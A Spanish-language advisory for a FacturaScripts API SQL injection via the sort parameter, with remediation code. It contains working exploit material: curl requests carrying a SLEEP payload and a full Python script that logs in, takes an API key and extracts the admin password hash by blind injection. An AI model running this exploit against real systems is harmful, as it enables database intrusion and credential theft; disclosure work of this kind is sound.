
CVE-2026-25513 - FacturaScripts tiene inyección SQL en la cláusula ORDER BY de la API
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-25513 |
| Gravedad | ALTA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
FacturaScripts contiene una vulnerabilidad crítica de inyección SQL en la API REST que permite a los usuarios autenticados de la API ejecutar consultas SQL arbitrarias a través del parámetro sort. La vulnerabilidad existe en el método ModelClass::getOrderBy(), donde los parámetros de ordenación proporcionados por el usuario se concatenan directamente en la cláusula ORDER BY de SQL sin validación ni saneamiento. Esto afecta a todos los endpoints de la API que admiten funcionalidad de ordenación.
La API REST de FacturaScripts expone modelos de base de datos a través de varios endpoints (p. ej., /api/3/users, /api/3/attachedfiles, /api/3/customers). Estos endpoints admiten un parámetro sort que permite a los clientes especificar el orden de los resultados. La API procesa este parámetro a través del método ModelClass::all(), que llama a la función vulnerable getOrderBy().
1. Modelos heredados:
Archivo: /Core/Model/Base/ModelClass.php
Método: getOrderBy()
Concatenación directa de claves y valores del array $order.
2. Modelos modernos (DbQuery):
Archivo: /Core/DbQuery.php
Método: orderBy()
Líneas: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
Esta comprobación está pensada para permitir funciones SQL, pero no las valida, lo que permite una inyección SQL arbitraria.
Dado que FacturaScripts requiere una clave de API existente, primero iniciamos sesión a través de la interfaz web para encontrar una clave válida.
1. Iniciar sesión y obtener una clave de API válida: Gestionamos el token CSRF y las cookies de sesión para acceder a la configuración y recuperar la primera clave disponible.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verificar la inyección SQL basada en tiempo:
Utilice la API_KEY extraída en la cabecera X-Auth-Token.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Resultado esperado: La solicitud inyectada tardará significativamente más (el retraso depende de los registros de la base de datos), lo que confirma la inyección SQL.
Este script inicia sesión automáticamente en FacturaScripts, obtiene una clave de API válida y realiza una extracción de datos que distingue entre mayúsculas y minúsculas mediante inyección SQL ciega basada en tiempo.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
Opción 1: Implementar una validación estricta mediante lista blanca (recomendada)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Opción 2: Usar funciones de escape de la base de datos
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Opción 3: Usar el patrón Query Builder
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Descubierto por: Łukasz Rybak
Este CVE fue divulgado de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí tiene fines exclusivamente educativos y defensivos.